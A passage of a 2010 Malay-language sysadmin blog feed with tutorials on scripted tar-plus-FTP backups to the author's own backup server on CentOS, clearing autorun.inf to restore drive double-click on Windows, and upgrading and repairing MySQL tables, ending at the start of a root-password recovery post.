url='http://2.bp.blogspot.com/_Pk16G7RhVRE/TDvzFSJnxpI/AAAAAAAAAog/2Pp2CBwoDUc/s72-c/imac_yum_poster.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-4921506339214632832</id><published>2010-07-08T15:46:00.000+08:00</published><updated>2010-07-08T15:46:07.793+08:00</updated><title type='text'>How to create backup data to local and send to backup server through FTP</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pk16G7RhVRE/TDWCM8dznKI/AAAAAAAAAoQ/XNphhluYJ8c/s1600/backup.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Pk16G7RhVRE/TDWCM8dznKI/AAAAAAAAAoQ/XNphhluYJ8c/s320/backup.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Kali ni aku nak share cara mudah utk buat backup data ke local dan seterusnya hantar pula ke backup server menggunakan FTP.&lt;br /&gt;&lt;br /&gt;OS : CentOS / RHEL&lt;br /&gt;Aplikasi diperlukan : ncftp 3.2.2-1, webmin 1.5.10, repo EPEL enabled&lt;br /&gt;&lt;br /&gt;1) Assume webmin dah ada install kat dalam server tu&lt;br /&gt;2) Untuk install ncftp. Pilih yes untuk install.&lt;br /&gt;&amp;gt; yum install ncftp*&lt;br /&gt;1050 packages excluded due to repository priority protections&lt;br /&gt;Setting up Install Process&lt;br /&gt;Resolving Dependencies&lt;br /&gt;--&amp;gt; Running transaction check&lt;br /&gt;---&amp;gt; Package ncftp.i386 2:3.2.2-1.el5 set to be updated&lt;br /&gt;---&amp;gt; Package ncftp-debuginfo.i386 2:3.2.2-1.el5 set to be updated&lt;br /&gt;--&amp;gt; Finished Dependency Resolution&lt;br /&gt;&lt;br /&gt;Dependencies Resolved&lt;br /&gt;&lt;br /&gt;================================================================================&lt;br /&gt;&amp;nbsp;Package&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Arch&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Version&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Repository&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Size&lt;br /&gt;================================================================================&lt;br /&gt;Installing:&lt;br /&gt;&amp;nbsp;ncftp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i386&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2:3.2.2-1.el5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; epel&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 567 k&lt;br /&gt;&amp;nbsp;ncftp-debuginfo&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i386&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2:3.2.2-1.el5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; epel-debuginfo&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1.2 M&lt;br /&gt;&lt;br /&gt;Transaction Summary&lt;br /&gt;================================================================================&lt;br /&gt;Install&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2 Package(s)&lt;br /&gt;Upgrade&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 Package(s)&lt;br /&gt;&lt;br /&gt;Total download size: 1.7 M&lt;br /&gt;Is this ok [y/N]: y&lt;br /&gt;&lt;br /&gt;3) Connect ke server guna winscp. Create folder berikut '/data/FILESYS'&lt;br /&gt;4) Di winscp, create satu file nama 'ftpfilesys.sh' di '/data' dan taip coding berikut di dalamnya, seterusnya SAVE :&lt;br /&gt;# ---------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;### System Setup ###&lt;br /&gt;DIRS="/data/FILESYS"&lt;br /&gt;BACKUP=/tmp/backup.$$&lt;br /&gt;NOW=$(date +"%d-%m-%Y")&lt;br /&gt;INCFILE="/root/tar-inc-backup.dat"&lt;br /&gt;DAY=$(date +"%a")&lt;br /&gt;&lt;br /&gt;### FTP server Setup ###&lt;br /&gt;FTPD="/BKP/SVRBAIK/FILESYS//full"&lt;br /&gt;FTPU="baik"&lt;br /&gt;FTPP="53k51"&lt;br /&gt;FTPS="192.168.0.100"&lt;br /&gt;NCFTP="/usr/bin/ncftpput"&lt;br /&gt;### NCFTP="$(which ncftpput)"&lt;br /&gt;&lt;br /&gt;### Other stuff ###&lt;br /&gt;EMAILID="baik@good.com"&lt;br /&gt;&lt;br /&gt;### Start Backup for file system ###&lt;br /&gt;[ ! -d $BACKUP ] &amp;amp;&amp;amp; mkdir -p $BACKUP || :&lt;br /&gt;&lt;br /&gt;### See if we want to make a full backup ###&lt;br /&gt;&amp;nbsp; FTPD="/BKP/SVRBAIK/FILESYS//full"&lt;br /&gt;&amp;nbsp; i=$(date +"%Hh%Mm%Ss")&lt;br /&gt;&amp;nbsp; FILE="spl-FILESYS-FULL-$NOW-$i.tar.gz"&lt;br /&gt;&amp;nbsp; tar -zcvf $BACKUP/$FILE $DIRS&lt;br /&gt;&lt;br /&gt;### Dump backup using FTP ###&lt;br /&gt;#Start FTP backup using ncftp&lt;br /&gt;ncftp -u"$FTPU" -p"$FTPP" $FTPS&amp;lt;&lt;eof&gt;&lt;br /&gt;##$NCFTP -u"$FTPU" -p"$FTPP" $FTPS&amp;lt;&lt;eof&gt;&lt;br /&gt;mkdir $FTPD&lt;br /&gt;mkdir $FTPD/$NOW&lt;br /&gt;cd $FTPD/$NOW&lt;br /&gt;lcd $BACKUP&lt;br /&gt;mput *&lt;br /&gt;quit&lt;br /&gt;EOF&lt;br /&gt;&lt;br /&gt;### Find out if ftp backup failed or not ###&lt;br /&gt;if [ "$?" == "0" ]; then&lt;br /&gt;&amp;nbsp;rm -f $BACKUP/*&lt;br /&gt;else&lt;br /&gt;&amp;nbsp;T=/tmp/backup.fail&lt;br /&gt;&amp;nbsp;echo "Date: $(date)"&amp;gt;$T&lt;br /&gt;&amp;nbsp;echo "Hostname: $(hostname)" &amp;gt;&amp;gt;$T&lt;br /&gt;&amp;nbsp;echo "Backup failed" &amp;gt;&amp;gt;$T&lt;br /&gt;&amp;nbsp;mail&amp;nbsp; -s "BACKUP FAILED : FILESYS n DB SVR PORTAL JABATAN" "$EMAILID" &amp;lt;$T&lt;br /&gt;&amp;nbsp;rm -f $T&lt;br /&gt;fi&lt;br /&gt;# ---------------------------------------------------------------------&lt;/eof&gt;&lt;/eof&gt;&lt;br /&gt;&lt;br /&gt;5) Buka software putty dan login ke server tersebut. Taip berikut utk enable file tersebut run in linux :&lt;br /&gt;&amp;gt; chmod u+x /data/FILESYS/ftpfilesys.sh&lt;br /&gt;&lt;br /&gt;6) Seterusnya pada winscp juga, create file 'allfilesys.tar' di dalam '/data/FILESYS'&lt;br /&gt;&lt;br /&gt;7) Seterusnya kita nak buat local backup kepada file&amp;nbsp; 'allfilesys.tar' di dalam '/data/FILESYS'&lt;br /&gt;&lt;br /&gt;8) Login webmin &amp;gt; system &amp;gt; filesystem backup. Masukkan ruangan directory to backup yang diinginkan. Contoh ini adalah utk backup folder sistem dalam folder '/var/www/html/baik'. Seterusnya klik Add a new backup of directory.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Pk16G7RhVRE/TDV7eVNK7cI/AAAAAAAAAnw/Hm8cEgro904/s1600/filesys.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="100" src="http://3.bp.blogspot.com/_Pk16G7RhVRE/TDV7eVNK7cI/AAAAAAAAAnw/Hm8cEgro904/s400/filesys.JPG" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;9) Jika nak tambah lagi folder utk dibackup boleh tetapkan dalam ruang Directories to backup tu seperti contoh berikut. Bahagian bawah backup schedule tu leh tetapkan masa utk dibuat backup data local tu. Lelain tu pepandailah. Pada kotak Backup to masukkan destinasi file allfilesys.tar yang kita dah create tadi :&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Pk16G7RhVRE/TDV8ZXHEkmI/AAAAAAAAAn4/bvnCw9pVmiY/s1600/filesys2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="310" src="http://1.bp.blogspot.com/_Pk16G7RhVRE/TDV8ZXHEkmI/AAAAAAAAAn4/bvnCw9pVmiY/s400/filesys2.JPG" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;10) Dah siap konfigurasi dan klik SAVE.&lt;br /&gt;11) Cuba klik SAVE AND BACKUP NOW utk jalankan backup tu.&lt;br /&gt;12) So local backup di server telah siap dibuat konfigurasi. Sekarang kita nak backup data ke server lain pula guna FTP.&lt;br /&gt;13) Login webmin &amp;gt; system &amp;gt; Scheduled Cron Jobs. Dan pilih Create a new scheduled cron job. Paparan berikut akan keluar bersama contoh input :&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pk16G7RhVRE/TDV_NEGemTI/AAAAAAAAAoI/MzZ6tn_n6OQ/s1600/filesys3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="343" src="http://2.bp.blogspot.com/_Pk16G7RhVRE/TDV_NEGemTI/AAAAAAAAAoI/MzZ6tn_n6OQ/s400/filesys3.JPG" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;14) Kotak command yang berisi info tersebut : /data/ftpfilesys.sh &amp;gt;/var/log/logftpfilesys 2&amp;gt;&amp;amp;1&lt;br /&gt;/data/ftpfilesys.sh - file utk run command tar folder dan seterusnya ftp ke server lain&lt;br /&gt;/var/log/logftpfilesys - create log file bagi aktiviti tar dan ftp file tersebut untuk memudahkan semakan kemudian jika terdapat sebarang error semasa tar atau penghantaran data melalui FTP.&lt;br /&gt;&lt;br /&gt;15) When to execute tu bagi tujuan penentuan admin bila masa sesuai script tersebut ditrigger.&lt;br /&gt;&lt;br /&gt;16) Klik SAVE. Seterusnya buka semula fail tersebut dan klik RUN NOW.&lt;br /&gt;'no output generated' akan keluar apabila selesai aktiviti tar dan ftp.&lt;br /&gt;&lt;br /&gt;17) Semak folder di server Backup FTP tersebut untuk pastikan data selamat tiba.&lt;br /&gt;&lt;br /&gt;18) Selesai dah..&lt;br /&gt;&lt;br /&gt;&amp;gt; Kaedah ni boleh digunakan bukan utk filesys sahaja, tetapi juga jika dump mysql data ke satu folder, maka boleh guna script tersebut untuk tar dan ftp ke server lain.&lt;br /&gt;&amp;gt; Terima kasih pada tok guru site www.cyberciti.biz yang banyak membantu dari segi script2 tersebut.&lt;br /&gt;&amp;gt; Bagi kerja ni, anda perlu pastikan dokumentasi waktu dibuat backup local tu dicatatkan dan lokasi backup local disimpan, seterusnya bilakah backup data dihantar ke ftp server, seterusnya lokasi simpanan backup data di ftp server.&lt;br /&gt;&lt;br /&gt;Semoga anda juga berjaya.&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-4921506339214632832?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/4921506339214632832/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=4921506339214632832&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/4921506339214632832'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/4921506339214632832'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/07/how-to-create-backup-data-to-local-and.html' title='How to create backup data to local and send to backup server through FTP'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Pk16G7RhVRE/TDWCM8dznKI/AAAAAAAAAoQ/XNphhluYJ8c/s72-c/backup.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-1960205680426151453</id><published>2010-06-24T17:20:00.001+08:00</published><updated>2010-06-24T17:20:53.819+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><title type='text'>Can't open drive c:\ with double click</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Pk16G7RhVRE/TCMjOzpIGfI/AAAAAAAAAno/uCZ7qcrU6Mk/s1600/ST373405LC.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_Pk16G7RhVRE/TCMjOzpIGfI/AAAAAAAAAno/uCZ7qcrU6Mk/s320/ST373405LC.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Kali ni aku nak share cara nak enablekan semula fungsi double click pada c: @ d: drive anda yang kemungkinan hilang file tertentu disebabkan virus atau sebagainya.&lt;br /&gt;&lt;br /&gt;Cara Pertama :&lt;br /&gt;1) buka command prompt. klik start, taip pada run 'cmd' dan klik enter&lt;br /&gt;2) Utk betulkan pada c:\, taip 'cd \' dan seterusnya taip berikut :&lt;br /&gt;'attrib -r -s -h autorun.inf '&lt;br /&gt;3) Seterusnya taip :&lt;br /&gt;'del autorun.inf '&lt;br /&gt;4) Nak buat untuk d: drive pulak taip 'd \' dan seterusnya ikut step 2 dan 3&lt;br /&gt;5) Dah sudah restart PC&lt;br /&gt;&lt;br /&gt;Cara Kedua :&lt;br /&gt;1) Open Start &amp;gt; Run dan taip 'regsvr32 /i shell32.dll'&lt;br /&gt;2) Klik ok &lt;br /&gt;3) Mesej berikut akan diperolehi 'DllRegisterServer and DllInstall in  shell32.dll succeeded'&lt;br /&gt;4) Itu je anda berjaya&lt;br /&gt;5) Jangan lupa restart PC&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-1960205680426151453?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/1960205680426151453/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=1960205680426151453&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/1960205680426151453'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/1960205680426151453'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/06/cant-open-drive-d-with-double-click.html' title='Can&apos;t open drive c:\ with double click'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_Pk16G7RhVRE/TCMjOzpIGfI/AAAAAAAAAno/uCZ7qcrU6Mk/s72-c/ST373405LC.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-2177298873688324996</id><published>2010-06-18T12:19:00.001+08:00</published><updated>2010-06-24T16:51:51.560+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><category scheme='http://www.blogger.com/atom/ns#' term='Command Line'/><title type='text'>MySQL upgrade and crash table problem</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pk16G7RhVRE/TBrz2GztKYI/AAAAAAAAAng/-4wg4f4mulU/s1600/mysql-hires.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Pk16G7RhVRE/TBrz2GztKYI/AAAAAAAAAng/-4wg4f4mulU/s320/mysql-hires.gif" /&gt;&lt;/a&gt;&lt;/div&gt;Sure bila dengar ni mesti risau giler..Aku dapat problem ni masa MailWatch aku problem dan sebabkan MailScanner takleh start. Selain tu, kerja upgrade ni perkara penting kena lakukan bagi menjaga operasi yang baik mysql server anda...tapi baca dulu apa patch dibuat pada version tersebut sekiranya melibatkan database yang besar.&lt;br /&gt;------------------------------------------------------------------------------------------- &lt;br /&gt;OS : RHEL 5 &amp;amp; CentOS 5.x&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------------------------&lt;br /&gt;Isu # 1 : Upgrade MySQL&lt;br /&gt;&lt;br /&gt;Caranya :&lt;br /&gt;1) # yum update mysql&lt;br /&gt;&lt;br /&gt;2) Dah upgrade mysql lepas tu..&lt;br /&gt;# mysql_upgrade -u root -p&lt;br /&gt;&lt;br /&gt;OUTPUT : (lebih kurang berikut)&lt;br /&gt;forum.phpbb_posts_text&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; OK&lt;br /&gt;forum.phpbb_privmsgs&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; OK&lt;br /&gt;forum.phpbb_privmsgs_text&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; OK&lt;br /&gt;forum.phpbb_ranks&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; OK&lt;br /&gt;forum.phpbb_search_results&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; OK&lt;br /&gt;forum.phpbb_search_wordlist&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; OK&lt;br /&gt;forum.phpbb_search_wordmatch&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; OK&lt;br /&gt;forum.phpbb_sessions&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; OK&lt;br /&gt;forum.phpbb_sessions_keys&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; OK&lt;br /&gt;forum.phpbb_smilies&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; OK&lt;br /&gt;forum.phpbb_themes&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; OK&lt;br /&gt;Running 'mysql_fix_privilege_tables'...&lt;br /&gt;OK&lt;br /&gt;&lt;br /&gt;3) Lakukan command tersebut setiap kali menjalankan kerja upgrade MYSQL.&lt;br /&gt;Pada asasnya setiap kali run mysql_upgrade tu sebenarnya command berikut akan trigger :&lt;br /&gt;&lt;pre class="programlisting"&gt;mysqlcheck --all-databases --check-upgrade --auto-repair&lt;br /&gt;mysql &amp;lt; &lt;i class="replaceable"&gt;&lt;code&gt;fix_priv_tables&lt;/code&gt;&lt;/i&gt;&lt;/pre&gt;&lt;pre class="programlisting"&gt;&lt;i class="replaceable"&gt;&lt;code&gt;&lt;/code&gt;&lt;/i&gt;&lt;/pre&gt;&lt;pre class="programlisting"&gt;------------------------------------------------------------------------------&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Isu # 2 : MySQL crash pada MailWatch&lt;br /&gt;&lt;br /&gt;1) Terima error message berikut :&lt;br /&gt;Table './mailscanner/maillog' is marked as crashed and should be  repaired&lt;br /&gt;&lt;br /&gt;2) # mysql -u root -p&lt;br /&gt;mysql &amp;gt; REPAIR TABLE maillog USE_FRM;&lt;br /&gt;mysql &amp;gt; exit;&lt;br /&gt;&lt;br /&gt;3) Check web MailWatch dah kembali normal..so command REPAIR TABLE boleh digunakan sekiranya ada crash table.&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Selamat mencuba! &lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-2177298873688324996?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/2177298873688324996/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=2177298873688324996&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/2177298873688324996'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/2177298873688324996'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/06/mysql-upgrade-and-crash-table-problem.html' title='MySQL upgrade and crash table problem'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Pk16G7RhVRE/TBrz2GztKYI/AAAAAAAAAng/-4wg4f4mulU/s72-c/mysql-hires.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-867002631014430391</id><published>2010-06-18T11:42:00.001+08:00</published><updated>2010-06-24T16:51:24.424+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><category scheme='http://www.blogger.com/atom/ns#' term='Command Line'/><title type='text'>Something DB Admin Need to Know About MySQL</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pk16G7RhVRE/TBrrFjuTfxI/AAAAAAAAAnY/0X-7Mc9y9Tw/s1600/mysql1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Pk16G7RhVRE/TBrrFjuTfxI/AAAAAAAAAnY/0X-7Mc9y9Tw/s320/mysql1.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Pertamanya, aku teruja lama sangat dah tak menaip blog ICT aku ni...hehe&lt;br /&gt;&lt;br /&gt;Ok aku nak share pengalaman aku utk resolve beberapa masalah tentang MySQL yang pernah aku hadapi.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------------------------&lt;br /&gt;OS : RHEL 5 &amp;amp; CentOS 5.x&lt;br /&gt;---------------------------------------------------------------------------------------------&lt;br /&gt;Isu # 1 : Password root terlupa...biasa bagi admin yang mungkin nyanyuk atau terlalu byk variasi password yang dicipta sampaikan lupe..&lt;br /&gt;&lt;br /&gt;Caranya :&lt;br /&gt;1) Memula 